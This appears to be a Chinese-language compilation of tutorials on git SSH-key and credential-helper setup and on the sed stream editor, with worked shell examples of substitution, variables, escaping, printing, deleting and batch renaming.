对于 ssh 方式,如果没有设置秘钥,向远程分支 git push 的时候就会被拒绝。本地 git commit 不影响,照常可以使用。

打开命令行 cmd,输入下面的命令开始生产 ssh 的 rsa key:

ssh-keygen -t rsa -C "用户名"

接下来一直回车即可,使用默认设置,如果不是第一次生成,选择 overwrite。会在指定的目录下面生产秘钥文件:/c/Users/用户名/.ssh/id_rsa.pub,在步骤说明里面有详细的地址。

记事本打开这个文件,里面就是 rsa key。

将 ssh 秘钥添加到版本库中

生成 ssh 秘钥以后,需要在 github 或者 gitlab 上面添加 ssh key。

添加的位置在个人设置->SSH秘钥中。添加完之后,如果你有提交权限的话,就可以 git push了。

HTTP 方式设置保存用户名密码

对于 HTTP 方式的git项目,会在每次 git push 的时候要求你输入用户名和密码,这时我们想只输入一次就可以了,可以通过添加git配置,保存用户名和密码,这种方式用户名和密码都是明文保存,会稍微不安全。

# 设置永久保存
git config --global credential.helper store
# 设置记住密码(默认15分钟)
git config --global credential.helper cache
# 设置过期时间3600s
git config credential.helper 'cache --timeout=3600'

上面的命令相对于在 config 文件中添加配置:

[credential]
helper=store

另外还可以将直接修改配置文件中的 url 部分,将用户名和密码写到 url 中:

http://username:[email protected]/name/project.git

shell脚本之sed使用—-替换、变量、转义字符

sed替换的基本语法为:

—-s后面跟的是分隔符,原字符串可使用.*这种正则表达式进行整行替换

代码如下:

sed 's/原字符串/替换字符串/'

单引号里面,s表示替换,三根斜线中间是替换的样式,特殊字符需要使用反斜线””进行转义,但是单引号”‘”是没有办法用反斜线””转义的,这时候只要把命令中的单引号改为双引号就行了,例如:

代码如下:

sed "s/原字符串包含'/替换字符串包含'/" //要处理的字符包含单引号

命令中的三根斜线分隔符可以换成别的符号,这在要替换的内容有较多斜线是较为方便,只需要紧跟s定义即可,例如换成问号”?”:

代码如下:

sed 's?原字符串?替换字符串?' //自定义分隔符为问号

可以在末尾加g替换每一个匹配的关键字,否则只替换每行的第一个,例如:

代码如下:

sed 's/原字符串/替换字符串/' //替换所有匹配关键字

上箭头”^”表示行首,美元”$”符号如果在引号中表示行尾,但是在引号外却表示末行(最后一行),这里犯二了,搜了半天哪个符号表示首行,半天才想起来,首行就是数字”1″啊.那么在行首和行尾添加字符串就是把行尾和行首替换,例如:

代码如下:

sed 's/^/添加的头部&/g' //在所有行首添加 
sed 's/$/&添加的尾部/g' //在所有行末添加 
sed '2s/原字符串/替换字符串/g' //替换第2行 
sed '$s/原字符串/替换字符串/g' //替换最后一行 
sed '2,5s/原字符串/替换字符串/g' //替换2到5行 
sed '2,$s/原字符串/替换字符串/g' //替换2到最后一行

替换样式可以多个在同一条命令中执行,用分号”;”分隔,例如:

代码如下:

sed 's/^/添加的头部&/g;s/$/&添加的尾部/g' //同时执行两个替换规则

sed处理过的输出是直接输出到屏幕上的,要保存可以将输出重定向,或者使用参数”i”直接在文件中替换:

代码如下:

sed -i 's/原字符串/替换字符串/g' filename //替换文件中的所有匹配项

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

首先是Sed里使用变量的问题

网上有人总结了四种方案:

1.       eval sed 's/$a/$b/' filename

2.       sed "s/$a/$b/" filename

3.       .sed 's/'$a'/'$b'/' filename

4.       .sed s/$a/$b/ filename

我比较喜欢第二种,也就是:Sed后面的表达式一般用单引号引起来(’),当需要使用变量时就换用双引号(”)。

关于单双引号的区别:

单引号:shell处理命令时,对其中的内容不做任何处理。即此时是引号内的内容是sed命令所定义的格式。

双引号:shell处理命令时,要对其中的内容进行算术扩展。如果想让shell扩展后得到sed命令所要的格式,使用命令:sed -n “/\\$/p” haha,扩展后得到的结果即\$.

因此对于语句类似:

$Comfilename="/home/evan/sandbox/Main/"
  1. echo $Comfilename | sed ‘s#/#\/#g’

  2. echo $Comfilename | sed “s#/#\/#g”

第一个的结果是:/home/evan/sandbox/Main/

而第二个还是:/home/evan/sandbox/Main/ 因为双引号会将“/“解释为”/“,所以sed “s#/#\/#g”被Shell解释成了sed s#/#/#g 到sed里执行时又把”/“转义为”/“了,这样相当于进行了了两次解释,就得不到想要的结果了。

这个例子告诉我当没必要用双引号的的时候就不要用,要不然说不定什么时候你就会很郁闷。Sed使用的变量里含有转义字符的解决当然单引号效率要比双引号高也是不要滥用双引号的原因之一。

言归正传,如何在sed的变量里使用那些特殊的需要转义的字符呢?

网上提出的一种方法是将sed里表示替换用的s后面的表示分隔用的字符换成别的变量里没有的字符这样就相当于变量里没有要转义的字符了。

如:

sed –i "s# $Comfilename#/Root/#" filename.list

这是一个好办法。但很不幸我需要的是删除“d”不是替换“s“。当我把同样的方法用于删除时似乎没有起到作用:sed –i “# $Comfilename#d” filename.list

于是只能自己手工先改写变量

$Comfilename="/home/evan/sandbox/Main/"
Tempname=` echo $Comfilename | sed 's#/#\/#g'`

(这里把反单引号执行的结果给临时变量,同样的方法可以改写其他需要转义的符号。)

sed –i "# $ Tempname #d" filename.list

sed的增删改查、sed常见问题

本章正题:sed的使用、sed常见问题

1.1 SED

1.1.1 sed是什么 :全称字符流编辑器Stream Edite

1.1.2 sed功能与版本

  1. 处理纯文本文件、日志、配置文件
  2. 增删改查
  3. 查看sed版本:sed –version

1.1.3 语法格式

  1. sed [选项] [sed指令] [输入文件]
  2. sed -i.bak ‘s#oldboy#oldbgirl#g’ oldboy.txt
  3. -i —sed命令的参数
  4. s –sed指令
  5. g —就是个修饰

1.1.4 sed命令的实行过程

  1. 把内容读取到内存中(模式空间)
  2. 判断是否是满足我要的条件(默认都会显示到屏幕)
    1. sed有个默认输出所以不加-n,都会显示到屏幕
  3. 继续读取直到最后一行

未分类

1.1.5 sed常用功能

实验环境:

[root@georgekai ~]# vim person.txt
101,oldboy,CEO
102,zhangyao,CTO
103,Alex,COO
104,yy,CFO
105,feixue,CIO

实例1-1 查询p(print)

1、单行 – 行号

[root@georgekai ~]# sed -n '3p' person.txt

2、找出包含oldboy的行

[root@georgekai ~]# sed -n '/oldboy/p' person.txt

注://中间可以写需要找的内容

3、多行连续显示(知道行号)

[root@georgekai ~]# sed -n '1,3p' person.txt

4、多行连续显示,显示包含oldboy的行到包含yy的行(不知道行号,模糊查找)

[root@georgekai ~]# cat person.txt|sed -n '/oldboy/,/yy/p'

5、显示不连续的行

[root@georgekai ~]# nl person.txt |sed -n '1p;3p;4p'

注:sed或awk中,加多个命令,用分号分割(;)

实例1-2 增加

1、在文件最后一行增加俩行

方法一:[root@georgekai ~]# echo -e “106,wuxingge,UFOn107,lee,XO” >>person.txt

方法二:[root@georgekai ~]# nl person.txt |sed -n ‘$a 106,wixingge,UFOn107,lee,XO.p’

注:1. 这里的$表示最后一行,a前面可加行号
2. a === append追加,当前行的下一行追加
3. i === insert插入,当前行的上一行插入
4. 中间的n ,表示回车键

方法三:[root@georgekai ~]# cat >> person.txt <<EOF
EOF

实例1-3 删除

1、单行删除

[root@georgekai ~]# nl person.txt |sed '1d' -i

2、多行删除

[root@georgekai ~]# cat person.txt |sed '/old/,/yy/d'
root@georgekai ~]# cat person.txt|sed '1d;3d;4d;5d'

3、不显示文件的空行

方法一:[root@georgekai ~]# cat person.txt |grep -v ‘^$’
方法二:[root@georgekai ~]# cat person.txt |sed -n ‘/^$/!p’
注:!在sed中也是取反的意思
方法三:[root@georgekai ~]# cat person.txt |sed ‘/^$/d’
方法四:[root@georgekai ~]# cat person.txt |awk ‘!/^$/’

实例1-4 替换s

注:在“s###g”中遇到以#开头的条件,3个#可以用3个@代替

1、不加小g,默认只替换每一行的第一个找到的条件

[root@georgekai ~]# sed 's#[1-9]#AAAA#' person.txt

注:后面加g,会替换每一行满足条件的所有

2、备份

[root@georgekai ~]# sed -i.bak.$(date +%F) 'sg#old#boy#' person.txt

注:先备份源文件,在修改源文件的内容

3、sed中变量的使用

[root@georgekai ~]# x=oldboy
[root@georgekai ~]# y=oldgirl
[root@georgekai ~]# sed "s#$x#$y#g" person.txt

注:sed的使用变量需要用双引号

4、单引号与双引号区别

[root@oldboyedu43-lnb oldboy]# echo 'I'am lee'
> ^C
[root@oldboyedu43-lnb oldboy]# echo "I'am lee"
I'am lee
[root@oldboyedu43-lnb oldboy]# echo 'I"am" lee'
I"am" lee

实例1-5 反向引用(先保护,在使用)

1、&符号的作用

[root@georgekai ~]# echo '123456' |sed -r 's#.#<&>#g'
<1><2><3><4><5><6>

注:& 表示前俩个#号中间正则匹配到的所有内容

2、命令拼接,批量修改文件名称

创建环境:

[root@georgekai ~]# touch oldboy{01..10}.jpg

如何修改:

方法一:[root@georgekai ~]# ls oldboy.avi|sed -r ‘s#(.).avi#mv & 1.jpg#g’|bash

注:1.bash的作用,执行前面管道后输出的内容
2.& 表示前俩个#号中间正则匹配到的所有内容
3.1 表示前面()中的内容

方法二:把以txt结尾的文件,中的txt替换成jpg

[root@georgekai ~]# rename txt jpg old*.txt
[root@georgekai ~]# ls
oldboy01.jpg  oldboy04.jpg  oldboy07.jpg  oldboy10.jpg
oldboy02.jpg  oldboy05.jpg  oldboy08.jpg  person.txt
oldboy03.jpg  oldboy06.jpg  oldboy09.jpg

格式:

rename    form                 to                       file
     要替换的源内容是什么       替换成什么内容             替换哪些文件
          jpg                                          avi                                                       *.jpg

1.1.6 使用sed命令的常见问题

  1. -r与-i同时使用
    -ri (正常):先使用扩展正则,在修改文件内容
    -ir :先备份文件名为“什么什么r”的备份文件,然后在替换源文件中的内容

  2. -i禁止与-n一起使用
    如:sed -ni ‘1p’ person.txt 会把源文件内容清空,只留下第一行